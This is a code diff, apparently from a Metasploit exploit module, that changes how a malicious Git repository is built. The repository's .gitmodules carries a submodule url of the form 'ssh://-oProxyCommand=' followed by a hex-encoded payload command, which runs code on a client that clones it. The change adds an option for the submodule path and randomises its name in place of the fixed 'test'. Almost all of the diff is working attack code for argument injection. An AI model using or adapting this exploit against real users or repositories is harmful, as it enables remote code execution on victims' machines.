@@ -55,6 +55,7 @@ def initialize(info = {})
55
55
register_options (
56
56
[
57
57
OptString . new ( 'GIT_URI' , [ false , 'The URI to use as the malicious Git instance (empty for random)' , '' ] ) ,
58
+ OptString . new ( 'GIT_SUBMODULE' , [ false , 'The path to use as the malicious git submodule (empty for random)' , '' ] ) ,
58
59
]
59
60
)
60
61
end
@@ -76,15 +77,20 @@ def setup_git
76
77
payload_cmd = payload . encoded + " &"
77
78
payload_cmd = Rex ::Text . to_hex ( payload_cmd , prefix = '%' )
78
79
79
- gitmodules = "[submodule \" test\" ]
80
- path = test
80
+ submodule_path = datastore [ 'GIT_SUBMODULE' ]
81
+ if submodule_path . blank?
82
+ submodule_path = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 2 ) . downcase
83
+ end
84
+
85
+ gitmodules = "[submodule \" #{ submodule_path } \" ]
86
+ path = #{ submodule_path }
81
87
url = ssh://-oProxyCommand=#{ payload_cmd } /
82
88
"
83
89
sha1 , content = build_object ( 'blob' , gitmodules )
84
90
@repo_data [ :git ] [ :files ] [ "/objects/#{ get_path ( sha1 ) } " ] = content
85
91
86
92
tree = "100644 .gitmodules\0 #{ [ sha1 ] . pack ( 'H*' ) } "
87
- tree += "160000 test \0 #{ [ sha1 ] . pack ( 'H*' ) } "
93
+ tree += "160000 #{ submodule_path } \0 #{ [ sha1 ] . pack ( 'H*' ) } "
88
94
sha1 , content = build_object ( 'tree' , tree )
89
95
@repo_data [ :git ] [ :files ] [ "/objects/#{ get_path ( sha1 ) } " ] = content
90
96
0 commit comments